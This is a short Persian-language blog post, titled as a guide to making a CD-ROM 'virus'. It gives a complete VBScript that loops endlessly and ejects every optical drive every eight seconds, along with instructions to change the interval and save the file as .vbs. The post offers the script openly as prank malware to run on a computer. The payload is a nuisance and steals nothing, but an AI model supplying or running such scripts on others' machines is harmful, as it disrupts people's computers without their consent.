ساخت ویروس باز و بسته شدن سی دی رام
يكشنبه, ۱۳ شهریور ۱۴۰۱، ۱۲:۲۶ ق.ظ
سلامم
باز می خوایم ویروس بسازیم :)
می خوایم یه ویروس بسازیم بیاد هی سی دی رام واز و بسته کنه
کدش:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 8000
loop
این هر 8 ثانیه میاد سی دی رام باز میکنه خواستید زمانش رو هم عوض کنید او sleep 8000 توی کد هارو بزارین هر چه قدر میخواید
فایلو کپی و پست کنید و با فرمت .vbs ذخیره کنید
خدافظ :)
اگر قبلا در بیان ثبت نام کرده اید لطفا ابتدا وارد شوید، در غیر این صورت می توانید ثبت نام کنید.